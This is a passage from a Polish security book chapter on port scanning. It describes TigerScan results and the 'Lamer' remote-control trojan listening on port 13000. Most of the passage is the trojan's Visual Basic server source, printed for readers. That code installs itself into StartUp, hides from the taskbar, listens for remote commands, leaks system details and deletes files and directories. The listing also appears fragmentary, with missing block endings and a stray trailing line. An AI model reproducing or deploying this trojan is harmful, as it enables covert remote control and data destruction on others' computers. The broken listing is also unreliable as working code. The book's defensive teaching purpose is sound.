Rozdział 1. ¨ Zabezpieczanie portów i usług 63
Rysunek 1.24.
Program TigerScan podaje informacje o aktywnych portach i usługach
Ogólnie rzecz biorąc, funkcje skanera przedstawić można w trzech punktach:
1. Lokalizacja portów otwartych.
2. Wykrycie dostępnych danych.
3. Porównanie wyników z listą znanych luk w zabezpieczeniach.
W zależności od wielkości dostępnych zasobów systemu i procesora, cała operacja zająć może od 3 do 12 minut.
Na rysunku 1.24 widać wyniki pracy skanera — wykryte zostały dwa aktywne porty: 135 i 13 000. Usługa korzystająca z zarezerwowanego portu 135 to usługa Loc-serv systemu Windows NT. Jeżeli włamywacz użyje odpowiednich parametrów i poda adres klienta, uzyska nazwę jego domeny NIS. Znajomość nazwy domeny NIS może umożliwić mu zdobycie kopii pliku haseł.
Nieco większym zaskoczeniem może być usługa wykryta na porcie 13 000, nazwana lamer. Lamer to nieprzyjemny, zdalnie sterowany koń trojański, realizujący takie funkcje jak zarządzanie stacją CD-ROM, przesyłanie plików, zarządzanie plikami i doprowadzanie do zawieszenia systemu. Jest to stosunkowo nowa kompilacja, stworzona w języku Visual Basic i ostatnio testowana przez autora, który w tym celu zaraża wirusem własny system. Demon ten, zamaskowany jako program narzędziowy, rozpowszechniany jest najczęściej pocztą elektroniczną. W tym przypadku program odebrany został jako kalkulator IP, ułatwiający szybkie wyliczanie numerów podsieci, masek i adresów rozgłaszania.
Przy instalacji zapisywany (lub zastępowany) jest w katalogu /Windows/System plik o nazwie dnetc.exe. Po restarcie systemu następuje jego uruchomienie w tle. Wówczas program prowadzi nasłuch na porcie 13 000 i oczekuje na przekazywane zdalnie dyrektywy. Właściwy dnetc.exe ma być programem klienckim ośrodka Distributed.net, umożliwiającym systemowi udział w jego ogólnoświatowych projektach — ma przyłączać komputer użytkownika do proxy Distributed.net i odbierać bloki przeznaczonych do przeliczenia kluczy. Istnienie konia trojańskiego umożliwia hakerom proste sprawdzanie systemów pod kątem aktywności na porcie 13 000. Gdy zostanie wykryta, droga do zdalnego sterownia stoi otworem.
Więcej informacji o „Trojanie” Lamer i jego różnych odmianach znaleźć można w ośrodku www.distributed.net.
Do użytku Czytelników przedstawiamy poniżej kod serwera Lamer. Przyjrzenie się jego listingowi, w połączeniu z przedstawionymi powyżej technikami rozpowszechniania, uzmysłowić powinno, jak poważną groźbą może być nawet tak prosta kompilacja w Visual Basicu. Nadmienić należy, że nie uwzględniono w przedstawionym kodzie niejawnego funkcjonowania serwera. Zarówno sam serwer, jak i jego klient mogą zostać uruchomione na tej samej stacji.
Lamer Server
Dim d As String
Dim key As Boolean
Dim cdrom As Boolean
Dim mouse As Boolean
Dim start As Boolean
Dim deskt As Boolean
Dim task As Boolean
Function ShowFolderList(foldername)
Dim fso, f, fc, fj, s, f1
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFolder(foldername)
Set fc = f.Subfolders
Set fj = f.Files
For Each f1 In fc
s = f1.name
s = s & "<BR>"
d = d + NewLine + f1
Next
End Function
Function App_Path() As String
x = App.path
If Right$(x, 1) <> "\" Then x = x + "\"
App_Path = UCase$(x)
Private Sub OPEN_Click()
cdrom = True
MciSendString "Set CDAudio Door Open Wait", _
0&, 0&, 0&
End Sub
Private Sub CLOSE_Click()
cdrom = False
MciSendString "Set CDAudio Door Closed Wait", _
Private Sub Command2_Click()
startbar = 0
Private Sub Dir1_Change()
Label8.Caption = Dir1.path
File1.path = Dir1.path
Private Sub Form_Load()
key = False
task = True
start = True
deskt = True
Dir1.path = "c:\"
On Error GoTo errorhandle
SourceFile = App_Path + "cracklist.exe"
sourcefile2 = App_Path + "mswinsck.ocx"
Label7.Caption = App.path
DestinationFile2 = "C:\Windows\Start Menu\Programs\StartUp\cracklist.exe"
destinationfile3 = "c:\windows\system\mswinsck.ocx"
FileCopy SourceFile, DestinationFile2
FileCopy sourcefile2, destinationfile3
errorhandle: If Err.Number = 70 Or 53 Then Resume Next
MsgBox "Error 643 file not found!", vbCritical, "Error"
Winsock1.Close
App.TaskVisible = False
Label2.Caption = Winsock1.LocalIP
Label4.Caption = Winsock1.LocalHostName
Winsock1.Listen
List1.AddItem "Listening on port 13000..."
Private Sub Image1_Click()
TaskbarIcons innotontaskbar
Private Sub Text1_Change()
Dim data As String
data = "Server respond : Command executed!"
If Text1.text = "Status" Then
data = "<----------------Status--------------->"
Winsock2(i).SendData data
data = NewLine
data = "Computer Name : " & Winsock1.LocalHostName
data = "IP Address : " & Winsock1.LocalIP
data = "Server path : " & App_Path
If task = False Then
data = "Taskbar status : Hidden"
End If
If task = True Then
data = "Taskbar status : Visible"
If start = False Then
data = "Start button status : Hidden"
If start = True Then
data = "Start button status : Visible"
If deskt = False Then
data = "Desktop icon status : Hidden"
If deskt = True Then
data = "Desktop icon status : Visible"
If mouse = False Then
data = "Mouse buttons are not swapped."
Else
data = "Mouse buttons are swapped."
If cdrom = False Then
data = "CD-Rom is closed."
data = "CD-Rom is open."
If key = False Then
data = "Keyboard status : Enabled"
data = "Keyboard status : Disabled"
data = "You are on directory : " + Label8.Caption
data = "<----------------End--------------->"
If Text1.text = "Info" Then
data = "<--------Directory Information-------->"
data = "Directory path : " + Label8.Caption
Dim intFileCount As Integer
For intFileCount = 0 To File1.ListCount - 1
File1.ListIndex = intFileCount
data = intFileCount & " " & File1.FileName & vbCrLf
If Text1.text = "Erase" Then
On Error GoTo errhandle
data = "Erasing files..."
Kill Label8.Caption + "\*.*"
data = "Files successfully erased!"
errhandle: If Err.Number = 53 Then
data = "An error occured. Aborting operation."
If Text1.text = "Erased" Then
On Error GoTo errorhandler
data = "Erasing directory..."
RmDir Label8.Caption
data = "Files and directory successfully erased!"
errorhandler: If Err.Number = 53 Then
data = "There are no files on this directory..."
...
lolo0011